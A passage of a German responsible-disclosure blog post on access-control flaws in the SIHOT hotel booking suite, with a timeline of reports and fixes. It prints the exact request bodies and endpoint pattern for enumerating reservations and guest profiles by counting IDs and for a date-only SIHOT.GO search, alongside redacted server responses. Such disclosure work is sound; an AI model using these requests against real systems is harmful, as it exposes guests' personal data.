                  "PRICE_TOTAL": "██",
                  "D": "██-█-█",
                  "PRICE": "██"
                }
              ],
              "ISPACKAGE": "Y",
              "PRICE_CUR": "██"
            },
            "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
            "STATE": "",
            "PICKUP_COUNTRY_DEPARTURE": "",
            "EXT_REFERENCE": "",
            "LANG": "DE",
            "VOUCHERNUMBER": "",
            "WEB_PRE_CHECKIN": "N",
            "ISBUMPEDOUT": "N",
            "PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
            "INVOICEHOLDER_LIST": "",
            "DEFAULTPAYMENTTYPE": {
              "PAYMENTTYPE": "",
              "CCLIST": {
                "CCHANDLE": "",
                "CCNO": ""
              }
            },
            "DOCUMENT_TYPE": "",
            "DEP_TIME": "",
            "CURRENCY": "EUR",
            "T_POST_COMMISSION": "1",
            "PICKUP_TYPE_DEPARTURE": "",
            "T_TITLE": "",
            "PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
            "PICKUP_CITY_ARRIVAL": "",
            "DEP": "██-█-█",
            "FAX1": "",
            "CITY2": "",
            "FAX2": "",
            "EXTCOMMENT_C": "",
            "POST_AREA": "",
            "VIP": "",
            "VIP2": ""
          }
          // ... usw. für alle Reservierungen des Tages
        ]
      },
      "OC": "RES-SEARCH",
      "TN": "████████████",
      "SIHOT_PROPERTY": {
        "UUID": "████-██-██-██-███████",
        "NAME": "█████████████████"
      }
    },
    "status": 0
  },
  "AUTHORISATION_RESPONSE": {
    "status": -1
  },
  "status": 0
}

Auch hier sagen wir natürlich dem Unternehmen Bescheid, welches uns zusagt, dass der Fix für die Lücke vier Werktage nach unserer Meldung bereitgestellt und eingespielt sein wird.

🐑 1 Reservierung 🐑, 2 Reservierungen 🐑, 3 Reservierungen 🐑 😴

Die nächste Lücke kommt gleich im Doppelpack: über die dataServlet-Schnittstelle können wir nicht nur nach Reservierungen suchen, sondern auch gezielt eine einzelne Reservierung (specific reservation (SS)) abrufen. Dafür brauchen wir die Reservierungsnummer – und die ist relativ lang und nicht trivial zu erraten. Das System akzeptiert aber auch die interne Nummer der Reservierung, die fortlaufend vergeben wird.

Also können wir den ältesten zerforschungs-Trick der Welt anwenden: 🔢 zählen.

Angefangen bei Reservierung 1, dann 2, dann 3, … könnte man so alle Reservierungen im System abrufen.

So können wir auch hier mal wieder Schäfchen zählen – aber nicht für guten Schlaf, sondern straight in den Albtraum rein. 😰

{
  "SIHOT_DOCUMENT": {
    "OC": "SS",
    "ID": 1,
    "OBJID": "50123"
  }
}
Beispielhafte Antwort des Servers (Klicken zum Ausklappen)
{
  "SIHOT_Document": {
    "SIHOT_Version": {
      "EXE": "c:\sihot\SINETRES.EXE",
      "Version": "1105.01.01.0464"
    },
    "RC": 0,
    "OC": "SS",
    "RESERVATION": {
      "TAX_NUMBER1": "",
      "ZIP": ██████,
      "PICKUP_NAME_DEPARTURE": "",
      "TAX_NUMBER2": "",
      "TAX_NUMBER3": "",
      "RES_NR": █████████,
      "PICKUP_ZIPCODE_ARRIVAL": "",
      "NAME_CORRESPONDENCE": "",
      "CANCELLATION_POLICY_DESC": "",
      "EXT_KEY": "",
      "LAST_MOD": "2025-██-██",
      "LAST_MOD_BY_RU": "███",
      "PICKUP_COMMENT_ARRIVAL": "",
      "PICKUP_AMOUNTCHILDREN_DEPARTURE": 0,
      "PICKUP_COMMENT_DEPARTURE": "",
      "DOB": "",
      "NIGHTS": 1,
      "PERSON": [
        {
          "ZIP": ██████,
          "PICKUP_NAME_DEPARTURE": "",
          "PICKUP_ZIPCODE_ARRIVAL": "",
          "NUMBEROFCHILDREN": 0,
          "NAME_CORRESPONDENCE": "",
          "PICKUP_COUNTRY_ARRIVAL": "",
          "FB_COMMENT": "",
          "PICKUP_AMOUNTADULTS_DEPARTURE": 0,
          "PICKUP_TIME_DEPARTURE": "",
          "EMAIL": "███@███.██",
          "PICKUP_COMMENT_ARRIVAL": "",
          "PICKUP_AMOUNTCHILDREN_DEPARTURE": 0,
          "PICKUP_COMMENT_DEPARTURE": "",
          "DOCUMENT_EXPEDITIONCOUNTRY": "",
          "NATION": "",
          "STATUS": "CO",
          "COUNTRY": "███",
          "PICKUP_PARAMETERS_ARRIVAL": 0,
          "DOB": "███-██-██",
          "SALES_CATEGORY": "",
          "PLACE_OF_BIRTH": "",
          "ADDRESS_CORRESPONDENCE": "",
          "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": 0,
          "PICKUP_ZIPCODE_DEPARTURE": "",
          "CENTRALGUEST_ID": ██████████,
          "ROOM_PERS_SEQ": 0,
          "MATCHCODE": "",
          "PICKUP_TYPE_ARRIVAL": "",
          "PICKUP_NAME_ARRIVAL": "",
          "INTERNET_PWD": "",
          "PICKUP_CITY_DEPARTURE": "",
          "NAME": "██████",
          "PICKUP_AMOUNTADULTS_ARRIVAL": 0,
          "PERS_TYPE": "",
          "ADDRESS": 1,
          "CAT": "",
          "PICKUP_STREET_ARRIVAL": "",
          "RN": ███,
          "ROOM_SEQ": 0,
          "PICKUP_TIME_ARRIVAL": "",
          "COUNTRY_CODE": "██",
          "DOCUMENT_NUMBER": "",
          "NAME1X": "",
          "ARR": "2025-01-01",
          "PICKUP_AMOUNTBAGGAGE_DEPARTURE": 0,
          "PCAT": "DZN",
          "DOCUMENT_EXPIREDATE": "",
          "SEX": ██,
          "DOCUMENT_EXPEDITIONDATE": "",
          "PHONE": "",
          "GUEST_TYPE": 1,
          "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": 0,
          "STATE": "██",
          "PICKUP_COUNTRY_DEPARTURE": "",
          "LANG": "██",
          "EXT_REFERENCE": "",
          "COMMENT": "",
          "VOUCHERNUMBER": "",
          "PICKUP_PARAMETERS_DEPARTURE": 0,
          "T_SPECIAL_MEAL": "",
          "GUEST_BRACELET_CONSENT": false,
          "NUMBEROFPERSONS": 1,
          "PICKUP_AMOUNTCHILDREN_ARRIVAL": 0,
          "CREDITALLOWED": false,
          "PERS_ADDRESS": 1,
          "DOCUMENT_TYPE": "",
          "PERS_RATE": {
            "R": "UF",
            "ISDEFAULT": "Y",
            "QUANTITY": 1,
            "GUEST_RATE_TYPES": {
              "GUEST_RATE_TYPE": {
                "GUEST_RATE_TYPE_DESC": "All rate filters",
                "GUEST_RATE_TYPE_KEY": "████████████"
              }
            },
            "RATE_SEGMENT": "",
            "ISPACKAGE": "Y",
            "ISPROTECTED": "N"
          },
          "COUNTRY_OF_BIRTH": "",
          "MATCHCODE_ADM": "",
          "MATCHCODE_SM": "",
          "PICKUP_TYPE_DEPARTURE": "",
          "PO_BOX": "",
          "PICKUP_AMOUNTBAGGAGE_ARRIVAL": 0,
          "PICKUP_CITY_ARRIVAL": "",
          "STREET": "█████████ ███",
          "NAME2": "█████████",
          "DEP": "2025-01-███",
          "CITY": "█████████",
          "CITY2": "",
          "INSURANCETYPE": "",
          "POST_AREA": "",
          "TITLE": "",
          "PICKUP_STREET_DEPARTURE": "",
          "FAX": "",
          "VIP": "",
          "VIP2": "",
          "KITCHEN_COMMENT": ""
        }
      ],
      "ADDRESS_CORRESPONDENCE": "",
      "PICKUP_ZIPCODE_DEPARTURE": "",
      "RESCHANNELLIST": {
        "RESCHANNEL": {
          "ISPRICEOWNER": "Y",
          "COMMISSION": {
            "TOTAL": 0,
            "PC": 0
          },
          "MATCHCODE_SM": "",
          "GUEST_TYPE": 2,
          "CENTRALGUEST_ID": ████████████,
          "MATCHCODE": "",
          "OBJID": ██████,
          "CONTACT_ID": 0,
          "IDX": 0
        }
      },
      "NOROOMS": 1,
      "ROOMINGLIST_STATISTICS": {
        "PERSONNIGHTS": 1,
        "NOADULDS": 1,
        "NOCHILDSFREE": 0,
        "ROMMINGLISTISCOMPLETE": "Y",
        "NOADULDSFREE": 0,
        "ROOMNIGHTS": 1,
        "NOCHILDS": 0
      },
      "SUB_NR": 1,
      "EMAIL2": "",
      "PICKUP_TYPE_ARRIVAL": "",
      "PICKUP_NAME_ARRIVAL": "",
      "EMAIL1": "",
      "ARR_TIME": "",
      "PROMOCODE": "",
      "TEC_COMMENT": "",
      "CHANNEL": "01",
      "PERS_TYPE": "",
      "SALES_DATE": "2024-██-██",
      "RATE_SEGMENT": "",
      "SOURCE": "█",
      "PICKUP_STREET_ARRIVAL": "",
      "PHONE2": "",
      "PHONE1": "",
      "GUARANTEE_TYPE_DESC": "",
      "PICKUP_TIME_ARRIVAL": "",
      "COUNTRY_CODE": "██",
      "GUARANTEE_TYPE": "",
      "DOCUMENT_NUMBER": "",
      "ARR": "2025-01-01",
      "RT": 1,
      "INVOICE_EMAIL": "",
      "PCAT": "███",
      "DOCUMENT_EXPEDITIONDATE": "",
      "GUEST_TYPE": 2,
      "SEX": ██,
      "OBJID": ███████,
      "COMMENT": "",
      "PICKUP_PARAMETERS_DEPARTURE": 0,
      "DEPOSIT_AMOUNT3": 0,
      "CENTRAL_RESERVATION_ID": 0,
      "MOBIL2": "",
      "DEPOSIT_AMOUNT1": 0,
      "T_CALC_COMMISSION": 1,
      "DISABLE_DEPOSIT": "N",
      "MOBIL1": "",
      "DEPOSIT_AMOUNT2": 0,
      "NOPAX": 1,
      "PERS_ADDRESS": "",
      "OUTPUTCOUNTER": 0,
      "CANCELLATION_POLICY": "",
      "GDSNO": "",
      "MATCHCODE_SM": "",
      "PO_BOX": "",
      "ALLOTMENT_NO": 0,
      "LAST_MOD_RU": "2025-██-██",
      "STREET": "█████████ ██",
      "NAME2": "",
      "A_USERFIELD_LIST": "",
      "RES_HOTEL": ███,
      "COMMISSION": {
        "TOTAL": 0,
        "PC": 0,
        "SID": ""
      },
      "LAST_MOD_BY": "███",
      "NN2": "",
      "CITY": "█████████",
      "INSURANCETYPE": "",
      "FIDELITYLIST": "",
      "PICKUP_STREET_DEPARTURE": "",
      "CREATION_TIME": "███████",
      "PICKUP_COUNTRY_ARRIVAL": "",
      "GUEST_OBJID": █████████,
      "PICKUP_AMOUNTADULTS_DEPARTURE": 0,
      "PICKUP_TIME_DEPARTURE": "",
      "DISCOUNT_GROUP": "",
      "NATION": "",
      "DOCUMENT_EXPEDITIONCOUNTRY": "",
      "APERS_TYPE_LIST": {
        "PERS_TYPE": {
          "NO": 1,
          "TYPE": ""
        }
      },
      "COUNTRY": "███",
      "PICKUP_PARAMETERS_ARRIVAL": 0,
      "MEDIA": "██",
      "SALES_CATEGORY": "",
      "CREATED_BY": "███",
      "MARKETCODE": "███",
      "IS_LOCKED": "N",
      "PRICE": 99,
      "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": 0,
      "CREATION_DATE": "2024-██-██",
      "CENTRALGUEST_ID": ████████████,
      "MATCHCODE": "",
      "ASSIGNED_TO": "",
      "FIDELITYORDERERLIST": "",
      "INTERNET_PWD": "",
      "PICKUP_CITY_DEPARTURE": "",
      "NAME": "█████████ █████████",
      "PICKUP_AMOUNTADULTS_ARRIVAL": 0,
      "CAT": "███",
      "POINTS_LIST": "",
      "ADDRESS": "",
      "NN": "",
      "OPTIONUNTIL": "",
      "NAME1X": "",
      "PICKUP_AMOUNTBAGGAGE_DEPARTURE": 0,
      "DOCUMENT_EXPIREDATE": "",
      "ISOVERBOOKED": "N",
      "RATE": {
        "CURRENCY": "EUR",
        "R": "UF",
        "ISDEFAULT": "Y",
        "PRICE": 99,
        "QUANTITY": 1,
        "GUEST_RATE_TYPES": {
          "GUEST_RATE_TYPE": {
            "GUEST_RATE_TYPE_DESC": "All rate filters",
            "GUEST_RATE_TYPE_KEY": "████████████"
          }
        },
        "RATE_SEGMENT": "",
        "ISPACKAGE": "Y",
        "PRICE_CUR": 99
      },
      "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": 0,
      "STATE": "██",
      "PICKUP_COUNTRY_DEPARTURE": "",
      "EXT_REFERENCE": "",
      "LANG": "██",
      "VOUCHERNUMBER": "",
      "WEB_PRE_CHECKIN": "N",
      "ISBUMPEDOUT": "N",
      "CCLIST": "",
      "PICKUP_AMOUNTCHILDREN_ARRIVAL": 0,
      "INVOICEHOLDER_LIST": "",
      "DEFAULTPAYMENTTYPE": {
        "PAYMENTTYPE": "",
        "CCLIST": {
          "CCHANDLE": "",
          "CCNO": ""
        }
      },
      "DOCUMENT_TYPE": "",
      "DEP_TIME": "",
      "CURRENCY": "",
      "T_POST_COMMISSION": 1,
      "PICKUP_TYPE_DEPARTURE": "",
      "T_TITLE": "",
      "PICKUP_AMOUNTBAGGAGE_ARRIVAL": 0,
      "PICKUP_CITY_ARRIVAL": "",
      "DEP": "2025-01-██",
      "FAX1": "",
      "CITY2": "",
      "FAX2": "",
      "EXTCOMMENT_C": "",
      "DEPOSIT_DATE2": "",
      "POST_AREA": "",
      "DEPOSIT_DATE1": "",
      "VIP": "",
      "VIP2": "",
      "DEPOSIT_DATE3": ""
    },
    "TN": "███████████████",
    "ID": ███,
    "SIHOT_PROPERTY": {
      "UUID": "█████████-████-████-████-█████████",
      "NAME": "██████████████████"
    }
  }
}

Jeder Gast bekommt vom System ein Profil, mit seinem Namen, Adresse, E-Mail-Adresse, Telefonnummer, … Als Gast gilt hier die Person, die ein Hotelzimmer bucht – aber auch jede Person, die zusätzlich in diesem Zimmer übernachtet. Auch diese Gästeprofile konnten alle durch einfaches Hochzählen abgerufen werden.

{
  "SIHOT_DOCUMENT": {
    "OC": "GUEST-DATA",
    "ID": 1,
    "OBJID": "50123"
  }
}
Beispielhafte Antwort des Servers (Klicken zum Ausklappen)
{
  "SIHOT_Document": {
    "MSG": "OK",
    "SIHOT_Version": {
      "EXE": "S:\SIHOT\SINETRES.EXE",
      "Version": "1100.05.00.0261"
    },
    "RC": "0",
    "AGUESTLIST": {
      "GUEST": {
        "INTERNALGUESTTYPE": "1",
        "ZIP": "███",
        "ISO_LANG": "de",
        "TAX_NUMBER1": "",
        "TAX_NUMBER2": "",
        "TAX_NUMBER3": "",
        "DATA_PROTECTION": "",
        "COUNTRYDESCR": "Deutschland",
        "RATE_TYPES": "0",
        "DOCUMENT_EXPEDITION_COUNTRY": "",
        "SALES_PERSON_DESCR": "",
        "DOCUMENT_SUBNR": "",
        "DISCOUNT_GROUP": "",
        "NATION": "DE",
        "COUNTRY": "DE",
        "DOB": "██-█-█",
        "PWD": "",
        "SPECIALPRICE": "0",
        "PLACE_OF_BIRTH": "",
        "CENTRALGUEST_ID": "0",
        "DOCUMENT_DATE": "",
        "EMAIL_SUBSCRIPTION_HOTEL": "",
        "MATCHCODE": "████",
        "EMAIL2": "",
        "NAME": "███████",
        "EMAIL1": "███████@█████████",
        "COMPANY": {
          "PASSWORD": "",
          "GUESTTYPE": "1",
          "CENTRALGUEST_ID": "0",
          "MATCHCODE": "",
          "OBJID": "████",
          "PWD": "",
          "COMPANY": "████████████████"
        },
        "COMPANY_NAME": "",
        "MATCHCODE_ISN": "",
        "PASSWORD": "",
        "PERS_TYPE": "█",
        "ADDRESS": "█",
        "T_DELETED": "0",
        "RATE_SEGMENT": "",
        "PHONE2": "",
        "PHONE1": "+49 ███ ████████████",
        "LOYALTY_FLAG": "0",
        "INVOICE_EMAIL": "",
        "DOCUMENT_SUBNR2": "",
        "EMAIL_SUBSCRIPTION_DATE": "",
        "GUESTTYPE": "0",
        "STATE": "█",
        "OBJID": "█████",
        "LANG": "DE",
        "DOCUMENT_EXPIRE_DATE": "",
        "CLASSIFICATION_05": "",
        "MOBIL2": "",
        "CLASSIFICATION_04": "",
        "MOBIL1": "",
        "CLASSIFICATION_03": "",
        "CLASSIFICATION_02": "",
        "CLASSIFICATION_01": "",
        "INVOICEHOLDER_LIST": "",
        "MARKETSEGMENT": "BAR",
        "SALES_PERSON": "",
        "DOCUMENT_TYPE": "",
        "LOYALTY_STATUS": "",
        "MATCHCODE_ADM": "",
        "MATCHCODE_SM": "",
        "DOCUMENT_NO": "",
        "T_TITLE": "",
        "ADDITIONAL_CRITERION_CODE1": "",
        "ADDITIONAL_CRITERION_CODE2": "",
        "STREET": "",
        "NAME2": "██████",
        "LOYALTY_DATE": "",
        "CITY": "████████",
        "FAX1": "",
        "ADDITIONAL_CRITERION_CODE5": "",
        "SERVICEID": "",
        "FAX2": "",
        "ADDITIONAL_CRITERION_CODE3": "",
        "T_MAIL": "",
        "ADDITIONAL_CRITERION_CODE4": "",
        "DEFAULT_PAYMENT_TYPE": "",
        "T_SMOKER": "",
        "TITLE": "",
        "VIP1": "",
        "ACARDLIST": "",
        "VIP2": "",
        "EMAIL_SUBSCRIPTION_PARTNER": ""
      }
    },
    "OC": "GUEST",
    "TN": "██",
    "ID": "1",
    "SIHOT_PROPERTY": {
      "UUID": "██████",
      "NAME": "██████"
    }
  }
}

Endlich im Bett. Wobei, bitte doch noch ein anderes Kissen?

Zur SIHOT-Suite gehört auch die SIHOT.GO-Web-App, über die die Gäste im Zimmer noch eine Pizza oder ein Kissen beim Zimmerservice nachbestellen, ihre Rechnung anschauen oder mehr über das Hotel erfahren können.

Um SIHOT.GO zu nutzen, muss man der Web-App zuerst verraten, welcher Gast in welchem Zimmer man eigentlich ist. Dafür muss man die Reservierungsnummer und den Nachnamen eingegeben. Diese Infos werden dann in der Reservierungsdatenbank gesucht und wenn ein passender Eintrag gefunden wird, ist man eingeloggt. Dieser Such-Endpunkt erlaubt allerdings – erneut – auch eine Suche nur nach Datum und gab – erneut – daraufhin eine Liste aller passenden Reservierungen zurück.

Hierfür braucht es nur einen POST-Request an https://go2.sihot.com/{CLIENT_ID}/SIHOTGO/login?HN=1 ({CLIENT_ID} ist die 4-stellige Client-Nummer des Hotels) mit folgendem Inhalt3:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
					xmlns:s="http://www.gubse.comXXX_DUMMY_REPLACE_XXX.xsd">
	<soapenv:Header/>
	<soapenv:Body>
		<s:S_GO_RESERVATION_SEARCH_V001Request>
			<s:TransactionID></s:TransactionID>
			<s:Authentication>
				<s:SecurityID></s:SecurityID>
			</s:Authentication>
			<s:ReservationSearch>
				<s:arrival>2025-01-01</s:arrival>
			</s:ReservationSearch>
		</s:S_GO_RESERVATION_SEARCH_V001Request>
	</soapenv:Body>
</soapenv:Envelope>

Die Antwort war dann ein langes XML-Dokument mit allen Buchungen, die an dem gesuchten Tag anfangen:

Beispielhafte Antwort des Servers (Klicken zum Ausklappen)
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
	xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<SOAP-ENV:Body>
		<S_GO_RESERVATION_SEARCH_V001Response
			xmlns="http://www.gubse.com/IFS/SihotServices01.xsd">
			<Result>
				<Success>true</Success>
				<ErrorMsg/>
				<MSG-LIST/>
			</Result>
			<ReservationSearchEntry>
				<RESERVATION-OBJID>████</RESERVATION-OBJID>
				<resno>███</resno>
				<subno></subno>
				<restype></restype>
				<cancellationdate/>
				<noofrooms></noofrooms>
				<noofnights></noofnights>
				<arrival>2025-01-01</arrival>
				<arrivaltime/>
				<departure>█-█-█</departure>
				<departuretime/>
				<gdsresnumber/>
				<centralid>███████</centralid>
				<externalid>███████████</externalid>
				<externalkey/>
				<externalreference/>
				<ratecategory></ratecategory>
				<ratesegment/>
				<resmedium>██</resmedium>
				<ressource></ressource>
				<forecastnoofadults></forecastnoofadults>
				<forecastnoofchildren></forecastnoofchildren>
				<forecastnoofpax></forecastnoofpax>
				<forecastrategross>██</forecastrategross>
				<forecastratenet>██</forecastratenet>
				<deposit></deposit>
				<hasautoservice></hasautoservice>
				<currency/>
				<commentcentral/>
				<commenttechnical/>
				<Orderer>
					<ORDERER-OBJID>████</ORDERER-OBJID>
					<name1>█████████</name1>
					<name2>█████████</name2>
					<country>██</country>
					<subcountry></subcountry>
					<postcode>███</postcode>
					<city>████████</city>
					<street>█████████████</street>
					<hqmatchadm/>
					<hqmatchisn/>
					<hqmatchsm/>
					<matchcode/>
					<iata/>
				</Orderer>
			</ReservationSearchEntry>
			<!-- ... -->
		</S_GO_RESERVATION_SEARCH_V001Response>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Auf die gemeinsame Meldung dieser Lücke und der beiden Hochzähl-Lücken davor, teilt uns das Unternehmen mit, dass die Fixes etwas komplexer sind und sie dafür 5 Werktage brauchen werden.

Wir wollen doch einfach nur schlafen

Es ist kaum zu glauben: so viele Lücken auf einem Haufen. Und dann auch noch mit derart sensiblen Daten.

Durch die Lücken waren abrufbar (wenn auch nicht alle Daten bei allen Lücken und nicht immer vollständig ausgefüllt):

  • Name
  • Adresse
  • E-Mail-Adresse
  • Telefonnummer
  • Geburtsdatum
  • Ausweisnummer
  • Die letzten 4 Stellen der Kreditkartennummer
  • Check-In- & Check-Out-Datum
  • Zimmernummer
  • Interne- sowie Kundenkommentare
  • Preise
  • IDs von Schlüsselkarten
  • Reservierungsnummer

Und das Ganze nicht bei einem Mini-Hotel mit selbstgefrickelter Software (das wäre schon schlimm genug), sondern bei einem großen Anbieter, u.a. verwendet durch eine der größten deutschen Hotelketten.
Betroffen waren Millionen von Menschen – darunter nochmal besonders gefährdete Gruppen wie Journalist*innen und Politiker*innen.

Daten sparen = Stress sparen

Manche der Buchungen waren aus dem Jahre 2005, also selbst schon längst volljährig. Da fragen wir uns schon sehr, warum so etwas überhaupt noch gespeichert ist, geschweige denn in einem Buchungssystem, das aus dem Internet erreichbar ist.

Datensparsamkeit ist immer eine gute Idee: Wenn die Daten nicht (mehr) in einem System gebraucht werden, sollten sie dort auch nicht mehr gespeichert werden. Spätestens ein paar Wochen nach dem Aufenthalt braucht es nicht mehr alle Informationen zur Buchung im Buchungssystem.

Zwar gibt es Aufbewahrungsfristen, die die Hotels teils zur längeren Speicherung verpflichten. Aber das bedeutet nicht, dass die Daten im Buchungssystem bleiben und aus dem Internet zugänglich sein müssen. Stattdessen könnten sie beispielsweise auch in ein besser abgeschirmtes System überführt werden, auf das viel weniger Leute Zugriff haben.

Und manche Daten braucht es so lange gar nicht: Spezialwünsche der Gäste (»Bitte ein Fenster, aus dem man gut trainspotten kann.«) können nach dem Check-Out gelöscht werden. Ausweisdaten braucht ein Hotel nur für den Meldeschein – der wiederum muss ein Jahr gespeichert und dann innerhalb von drei Monaten gelöscht werden (§30 BMG).

Personenbezogene Daten sind kein Öl, sondern Giftmüll, und sollten von Unternehmen auch so behandelt werden. Nicht möglichst lange aufbewahren, sondern möglichst sicher verschließen und dann entsorgen, sobald es geht.

Besser gleich richtig machen

Je mehr wir uns mit dem System auseinander gesetzt haben, desto mehr hat sich bei uns der Eindruck verfestigt: Hier handelt es sich nicht um ein einmaliges Versehen in einem ansonsten perfekt gesicherten System. Es scheint eher so, als wäre hier strukturell etwas kaputt.

Sichere Software fällt nicht einfach vom Himmel. Dafür braucht es unter anderem gute Prozesse, passende Architektur-Entscheidungen, ein Bewusstsein bei allen Entwickler*innen und regelmäßige (Selbst-)Kontrollen, beispielsweise durch gute Pentests.

Facepalm

Wir sind bestürzt darüber, dass es wirklich wieder die simpelsten Lücken sind. Eine aufsteigende Reservierungsnummer oder Gästenummer hochzuzählen und damit Zugriff auf die Daten von bisherigen, aktuellen und zukünftigen Gästen des Hotels zu bekommen, sollte in diesem Jahrzehnt wirklich nicht möglich sein.

Und eine geschlossene Lücke sollte nicht direkt wieder aufgehen, nur weil wir unsere Anfrage minimal anders in Geschenkpapier einwickeln.

Denn es gilt immer: Wenn die Software marktreif genug ist, um Daten von Hotelgästen speichern zu dürfen, muss sie auch reif genug sein, diese für sich zu behalten. Und ja, reif gilt vor allem, wenn die Software laut Angaben des Herstellers mittlerweile ihren 39sten Geburtstag feiern kann. Glückwunsch 🍾

Auch die Hotels sind in der Pflicht

Und das gilt nicht nur für die Hersteller solcher Software, sondern auch die Kund*innen. Wir fragen uns schon, wie Motel One, die vor wenigen Jahren erst Opfer eines Hackerangriffs wurden, trotzdem Software einsetzen kann, die derartige Sicherheitslücken hat.

Eine Hotelkette dieser Größe kann es sich leisten, so zentrale Systeme genauer unter die Lupe zu nehmen. Wir finden, dass genau das zur Verantwortung eines Unternehmens gehört: Wenn ich eine Software einsetzen will, sollte ich genau schauen, ob sie auch taugt.

Und dazu gehört eben auch, dass sie die ihr anvertrauten Daten gut schützt – und wir uns als Hotelgäste auch endlich ein bisschen erholen können.

Timeline

  • 2025-09-09: Zerforschi bucht Hotel, findet Lücke
  • 2025-09-10: Erste Meldung an das Unternehmen (GUBSE)
  • 2025-09-12: Unternehmen erklärt erste Lücke für geschlossen
  • 2025-09-12: Meldung über SQLi bei dieJugendherbergen an GUBSE
  • 2025-09-15: GUBSE hat Meldung an dieJugendherbergen weitergegeben, Adminbereich abgeschaltet
  • 2025-09-22: Meldung über weitere Lücken, auch in der Instanz von Motel One
  • 2025-09-23: Meldung über Lücke in SIHOT.GO!
  • 2025-09-24: Unternehmen plant Fix und Rollout bis Ende der Woche

Unsere Recherchen haben wir mit Svea Eckert, Ciara Cesaro-Tadic und Palina Milling von NDR & WDR sowie mit Lea Weinmann und Sebastian Erb von der Süddeutschen Zeitung geteilt. Ihre Artikel findet ihr hier:


An solch einem Artikel sitzen wir als Kollektiv deutlich länger als eine Übernachtung im Hotel, vom Finden der Lücken, über das Schreiben der Reports, zum Finden noch weiterer ähnlicher Lücken, bis zum Umgang mit den betroffenen Unternehmen und der Veröffentlichung dieses Posts.

Falls euch dieser Artikel gefallen hat, freuen wir uns über Unterstützung für besseren Schlaf (aber bitte keine Hotelgutscheine).


  1. oh-oh, die hatten doch gerade erst ein kleines IT-Sicherheitsproblem ↩︎

  2. Auch wie beim letzten Mal, wir begrüßen öffentliche API-Dokumentation. Nur muss die Schnittstelle dann auch sicher sein. ↩︎

  3. ja, das XXX_DUMMY_REPLACE_XXX geht wirklich so über die Leitung. ↩︎